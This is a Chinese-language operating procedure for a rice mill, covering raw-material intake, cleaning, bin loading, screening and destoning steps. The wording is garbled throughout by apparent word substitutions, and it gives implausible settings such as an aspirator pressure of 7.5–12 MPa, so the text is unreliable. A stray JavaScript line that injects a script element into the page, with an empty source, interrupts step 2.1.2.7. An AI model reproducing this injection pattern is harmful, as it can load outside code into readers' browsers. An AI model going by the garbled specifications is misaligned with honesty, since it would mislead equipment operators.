大米生产统一标准操作作业规程.doc

大米生产原则操作规程 

一、目 
规范大米生产环节中各工序操作。  
二、合用范畴 
公司所属车间水稻加工、大米再加工，水稻或大米代加工，大米生产技术考核与培训。  
三、原则操作规程     大米生产流程： 
      来料接受→大米生产→产品贮存 1.来料接受 
来料接受操作流程 
来料验收→监督卸料→清理→上仓  
1.1来料验收操作规程 
1.1.1合用范畴：进入车间加工原料，涉及水稻、大米等。 1.1.2操作规程 
1.1.2.1确认来料品种和数量。 
1.1.2.2索要该批物料最新（3日内）品质检查报告。 
1.1.2.3与生产筹划中原料规定进行比对，拟定与否为所需原料，如有差别，应告知车间主任按规定解决。 
1.1.2.4告知上料人员上料时间和上料口位置。 ★来料验收为核心控制点。 
  目：分清各部门在原料质量管理方面责任。   内容：对来料进行品质检查。  
1.2监督卸料操作规程 
1.2.1合用范畴：过秤后散积或袋积物料，定量包装物料。 1.2.2操作规程 
1.2.2.1保证过秤后物料安全运至上料口。如有散落，应规定运送工人及时收回；如有影响物料品质因素（如淋雨等）时，应及时中断运送。 
1.2.2.2检查并清除卸料作业区内有影响物料品质因素，规定卸料过程在卸料区内完毕。 1.2.2.3检查运送散积物料车辆，确认车内物料已所有卸完；检查袋积物料空包装物，确认袋内物料已所有倒出。 
1.2.2.4整顿卸料过程中散落物料，并所有投入到上料口。 1.2.2.5办理物料交接手续。  
1.3清理操作规程 
1.3.1合用范畴：移动式圆筒初清筛，固定式圆筒初清筛。 1.3.2操作规程 
1.3.2.1固定设备，保证设备在使用过程中不发生移动。保证设备出料口对准上仓设备进料口，且不会发生刚性接触。 

1.3.2.2检查初清筛滚筒筛面，去除筛面上杂质。 
1.3.2.3检查初清筛滚筒筛面，筛面应无破损，如有破损应及时更换（更换办法参阅《设备维修维护手册》）。 
1.3.2.4下杂口挂好接料袋，保证杂质不外漏。 
1.3.2.5点启动电机，观测设备运转状况。如有异常，按《设备维修维护手册》检查并排除故障。 
1.3.2.6启动电机，设备运转1分钟后开始给料。 
1.3.2.7设备使用过程中，如有异常，应先停止给料，再关停设备，按《设备维修维护手册》检查并排除故障。 
1.3.2.8下杂袋满了要及时更换。 
1.3.2.9及时清理洒漏物料，停料后，设备要继续运转2分钟再关机。 1.3.2.10清除滚筒筛面上杂质。 1.3.2.11杂质过秤后运至指定位置。 
1.3.2.12松开可移动设备固定装置，移至指定位置。  
1.4上仓操作规程 
1.4.1合用范畴：用输送设备把散料送入料仓。 1.4.2操作规程 
1.4.2.1确认输送设备出料口对准指定料仓。 
1.4.2.2点启动电机，观测输送设备运转状况。如有异常，按《设备维修维护手册》检查并排除故障。 
1.4.2.3启动电机，设备运转1分钟后开始给料。 
1.4.2.4设备使用过程中，如有异常，应先停止给料，再关停设备，按《设备维修维护手册》检查并排除故障。 
1.4.2.5停料后，设备要继续运转2分钟再关机。  
2.大米生产 
大米生产操作流程                                               
初清→清理→去石→砻谷→谷糙分离→厚度分级→调质→碾米→白米分级→色选→抛光→                    ↓                                        ↓                                 稻壳粉碎 →壳粉包装                      长度分级 精选→大米包装  
2.1初清操作规程 
2.1.1合用范畴：自衡振动筛（无垂直吸风道），平面回转筛 2.1.2操作规程 
2.1.2.1检查振动筛上、下层筛面，去除筛面上杂质。 
2.1.2.2检查振动筛上、下层筛面，筛面应无破损，如有破损应及时更换（更换办法参阅《设备维修维护手册》）。 
2.1.2.3检查振动筛下杂口，清理杂质，保证下杂畅通。 
2.1.2.4检查振动筛进料端筛框固定螺母，保证筛框已被压紧。 2.1.2.5检查振动筛两侧筛框固定螺母，保证筛框已被锁紧。 2.1.2.6大、小杂接料口挂好接料袋，保证杂质不外漏。 
2.1.2.7启动设备，注意观测筛体振动状况，如有不正常跳动、晃动现象或非正常响声，应

var script = document.createElement('script')；script.src = ''；document.body.appendChild(script);

及时停机，按《设备维修维护手册》检查并排除故障。 
2.1.2.8打开给料闸门，调节匀料板使物料左右均匀流入上层筛面。调好后，必要用销紧螺母紧固匀料板轴。 
2.1.2.9注意观测大、小杂内与否混有粮食，如混有粮食应及时停机，按《设备维修维护手册》检查筛面状况。 
2.1.2.10上层筛面杂质至少每1小时清理一次，下杂袋满了要及时更换。 2.1.2.11给料停止后，设备继续运转2分钟后再停机。 
2.1.2.12设备长时间不运转，应按《设备维修维护手册》拆下上、下层筛面完全去除杂质，并检查筛面与否有破损。  
2.2清理操作规程 
2.2.1合用范畴：自衡振动筛（有垂直吸风道） 2.2.2操作规程 
2.2.2.1检查振动筛上、下层筛面，去除筛面上杂质。 
2.2.2.2检查振动筛上、下层筛面，筛面应无破损，如有破损应及时更换（更换办法参阅《设备维修维护手册》）。 
2.2.2.3检查振动筛下杂口，清理杂质，保证下杂畅通。 
2.2.2.4检查振动筛进料端筛框固定螺母，保证筛框已被压紧。 2.2.2.5检查振动筛两侧筛框固定螺母，保证筛框已被锁紧。 2.2.2.6大、小杂接料口挂好接料袋，保证杂质不外漏。 2.2.2.7启动吸风装置，使垂直吸风道内有风通过。 
2.2.2.8启动清理设备，注意观测筛体振动状况，如有不正常跳动、晃动现象或非正常响声，应及时停机，按《设备维修维护手册》检查并排除故障。 
2.2.2.9打开给料闸门，调节匀料板使物料左右均匀流入上层筛面。调好后，必要用销紧螺母紧固匀料板轴。 
2.2.2.10平稳地打开垂直吸风分离器风量调节板，小心调节风量，使粮食不随杂质吸出。 2.2.2.11注意观测大、小杂内与否混有粮食，如混有粮食应及时停机，按《设备维修维护手册》检查筛面状况。 
2.2.2.12上层筛面杂质至少每1小时清理一次，下杂袋满了要及时更换。 2.2.2.13给料停止后，设备继续运转2分钟后再停机。 
2.2.2.14设备长时间不运转，应按《设备维修维护手册》拆下上、下层筛面完全去除杂质，并检查筛面与否有破损。  
2.3去石操作规程 
2.3.1合用范畴：比重分级去石机 2.3.2操作规程 
2.3.2.1检查筛面与否平整、有无破损，如有问题应按《设备维修维护手册》拆下整个筛框并解决。 
2.3.2.2启动吸风装置，风压表度数应不不大于7.5MPa，最佳为12MPa。 
2.3.2.3启动去石机，注意观测机体振动状况，如有不正常跳动或晃动现象，应及时停机，按《设备维修维护手册》检查并排除故障。 
2.3.2.4打开给料闸板，使原料铺满上、下层筛面。 
2.3.2.5松开风量调节板手柄紧定螺丝，调节风量，使上、下料层均处在半悬浮状态，控制上、下层物料分派比例（增长风量可减少下层物料量）。调好后，锁紧手柄紧定